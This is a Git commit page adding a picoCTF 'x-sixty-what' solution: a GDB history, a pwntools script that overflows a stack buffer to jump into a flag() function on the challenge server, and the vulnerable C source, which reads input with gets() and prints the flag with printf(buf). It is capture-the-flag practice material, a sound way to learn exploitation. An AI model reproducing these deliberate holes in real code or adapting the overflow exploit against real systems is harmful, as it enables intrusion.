x-sixty-what
This commit is contained in:
25
x-sixty-what/.gdb_history
Normal file
25
x-sixty-what/.gdb_history
Normal file
@@ -0,0 +1,25 @@
|
||||
show vuln
|
||||
list vuln
|
||||
b vuln
|
||||
exit
|
||||
info functions
|
||||
list main
|
||||
disassemble main
|
||||
disasm main
|
||||
disassemble main
|
||||
disassemble *main
|
||||
b vuln
|
||||
exit
|
||||
disassemble main
|
||||
disassemble vuln
|
||||
b vuln+2
|
||||
b *vuln+2
|
||||
exit
|
||||
disassemble vuln
|
||||
b *vuln+24
|
||||
run
|
||||
stackf
|
||||
nexti
|
||||
stackf
|
||||
disassemble flag
|
||||
exit
|
||||
19
x-sixty-what/sol.py
Executable file
19
x-sixty-what/sol.py
Executable file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
buffer_base = 0x7fffffffcf70
|
||||
ret_addr = 0x7fffffffcfb8
|
||||
ret_offset = ret_addr - buffer_base
|
||||
flag_fun_addr = 0x0000000000401236
|
||||
flag_fun_offset = 5
|
||||
target_addr = flag_fun_addr + flag_fun_offset
|
||||
|
||||
send_buffer = b"a"*ret_offset + p64(target_addr, 'little')
|
||||
|
||||
#conn = process("./vuln")
|
||||
conn = remote('saturn.picoctf.net', 60832)
|
||||
|
||||
conn.recvline()
|
||||
conn.sendline(send_buffer)
|
||||
conn.interactive()
|
||||
|
||||
BIN
x-sixty-what/vuln
Executable file
BIN
x-sixty-what/vuln
Executable file
Binary file not shown.
37
x-sixty-what/vuln.c
Normal file
37
x-sixty-what/vuln.c
Normal file
@@ -0,0 +1,37 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#define BUFFSIZE 64
|
||||
#define FLAGSIZE 64
|
||||
|
||||
void flag() {
|
||||
char buf[FLAGSIZE];
|
||||
FILE *f = fopen("flag.txt","r");
|
||||
if (f == NULL) {
|
||||
printf("%s %s", "Please create 'flag.txt' in this directory with your",
|
||||
"own debugging flag.\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fgets(buf,FLAGSIZE,f);
|
||||
printf(buf);
|
||||
}
|
||||
|
||||
void vuln(){
|
||||
char buf[BUFFSIZE];
|
||||
gets(buf);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv){
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
gid_t gid = getegid();
|
||||
setresgid(gid, gid, gid);
|
||||
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
|
||||
vuln();
|
||||
return 0;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user